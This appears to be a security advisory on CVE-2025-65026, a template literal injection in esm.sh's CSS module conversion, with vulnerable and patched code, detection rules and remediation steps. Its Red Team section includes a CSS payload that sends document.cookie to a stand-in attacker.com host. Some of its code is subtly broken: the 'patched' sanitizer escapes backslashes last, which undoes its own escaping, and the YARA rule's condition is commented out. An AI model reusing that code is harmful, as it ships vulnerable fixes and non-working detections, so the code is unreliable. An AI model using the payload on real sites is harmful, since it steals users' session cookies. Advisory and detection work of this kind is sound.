CVE-2025-65026

Executive Summary

CVE-2025-65026 is a Template Literal Injection vulnerability (CWE-94) in the esm.sh content delivery network (CDN) service, affecting versions prior to 136. The vulnerability exists in the CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts the CSS content into a JavaScript module by embedding it directly into a template literal without sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, leading to Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. The vulnerability has been patched in version 136.

Supply Chain & Package Security

This vulnerability is particularly dangerous because esm.sh is a CDN that serves JavaScript modules to web applications. If an attacker can inject malicious code into a CSS file served by esm.sh, any application that imports that CSS module will execute the injected JavaScript. This creates a supply chain risk, as developers may unknowingly import compromised CSS modules from esm.sh.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The CVSS score of 6.1 reflects a medium severity vulnerability that requires user interaction (e.g., visiting a page that imports the malicious CSS module) but can lead to XSS or RCE in certain environments.

Deep Dive & Mechanics

The vulnerability lies in the CSS-to-JavaScript module conversion feature of esm.sh. When a CSS file is requested with the ?module query parameter, esm.sh converts the CSS content into a JavaScript module by wrapping it in a template literal. For example, a CSS file like:

body { background: red; }

Would be converted to:

const css = `body { background: red; }`;
export default css;

However, if the CSS file contains ${...} expressions, they are not sanitized and are directly embedded into the template literal. For example, a CSS file containing:

body { background: ${alert(1)}; }

Would be converted to:

const css = `body { background: ${alert(1)}; }`;
export default css;

When this module is imported by a victim application, the JavaScript expression ${alert(1)} is executed, leading to XSS in browsers or RCE in Electron applications.

Vulnerable vs. Patched Code

Vulnerable Code (before version 136):

// Vulnerable: No sanitization of CSS content
function convertCssToModule(cssContent) {
  return `const css = \`${cssContent}\`;\nexport default css;`;
}

Patched Code (version 136):

// Patched: Sanitize CSS content to prevent template literal injection
function sanitizeCssForTemplateLiteral(cssContent) {
  // Escape backticks, dollar signs, and backslashes
  return cssContent.replace(/`/g, '\\`').replace(/\$/g, '\\$').replace(/\\/g, '\\\\');
}

function convertCssToModule(cssContent) {
  const sanitizedCss = sanitizeCssForTemplateLiteral(cssContent);
  return `const css = \`${sanitizedCss}\`;\nexport default css;`;
}

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker needs to host a malicious CSS file on a server that esm.sh can fetch, or find an existing CSS file that they can control (e.g., via a file upload feature). The malicious CSS file should contain JavaScript code embedded in ${...} expressions.

Example malicious CSS file (malicious.css):

body {
  background: ${fetch('https://attacker.com/steal?cookie=' + document.cookie)};
}

Request to esm.sh:

GET /malicious.css?module HTTP/1.1
Host: esm.sh

Victim application imports the malicious module:

import css from 'https://esm.sh/malicious.css?module';

When the victim application imports this module, the JavaScript expression ${fetch('https://attacker.com/steal?cookie=' + document.cookie)} is executed, sending the victim's cookies to the attacker's server.

Blue Team

To detect exploitation attempts, monitor for requests to esm.sh with the ?module query parameter that include suspicious CSS files. Additionally, monitor for JavaScript execution that originates from CSS module imports.

Detection Steps:

1. Monitor web server logs for requests to esm.sh with ?module parameter.
2. Inspect the CSS files being requested for ${...} expressions.
3. Use Content Security Policy (CSP) headers to restrict the execution of inline JavaScript.
4. Implement Subresource Integrity (SRI) checks for imported modules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to esm.sh with ?module parameter and CSS files containing ${...} expressions.
  • Outbound connections to attacker-controlled servers from pages that import esm.sh CSS modules.

• File IOCs:

  • CSS files containing ${...} expressions.
  • JavaScript modules generated by esm.sh that contain ${...} expressions.

• Behavioral IOCs:

  • Unexpected JavaScript execution in the context of CSS module imports.
  • Unusual network requests originating from CSS module imports.

Detection Engineering

YARA Rule

rule CVE_2025_65026_Template_Literal_Injection {
    meta:
        description = "Detects CSS files containing template literal injection patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65026"
    strings:
        $injection_pattern = /\$\{[^}]+\}/
    condition:
        $injection_pattern and (
            //filetype == "css" or
            //filetype == "js"
        )
}

Sigma Rule

title: CVE-2025-65026 Template Literal Injection in esm.sh
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects requests to esm.sh with ?module parameter and CSS files containing template literal injection patterns
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-65026
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "?module"
        cs-uri-stem|endswith: ".css"
    condition: selection
falsepositives:
    - Legitimate use of template literals in CSS (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65026 Template Literal Injection in esm.sh"; flow:to_server; content:"?module"; http_uri; content:".css"; http_uri; pcre:"/\$\{[^}]+\}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions

1. Upgrade esm.sh: Update to version 136 or later, which includes the fix for this vulnerability.
2. Review CSS Modules: Audit any CSS modules imported from esm.sh for suspicious ${...} expressions.
3. Implement CSP: Add Content Security Policy headers to restrict inline JavaScript execution.
4. Use SRI: Implement Subresource Integrity checks for all imported modules.

Long-Term Mitigations

1. Input Validation: Ensure all user-supplied content is properly sanitized before being used in template literals.
2. Code Review: Conduct thorough code reviews of any code that generates JavaScript modules from external content.
3. Security Testing: Regularly test for template literal injection vulnerabilities in your applications.

Workarounds

If upgrading is not immediately possible, consider:

• Blocking requests to esm.sh with the ?module parameter.
• Using a web application firewall (WAF) to filter out requests containing ${...} patterns in CSS files.
• Replacing esm.sh with an alternative CDN that does not have this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert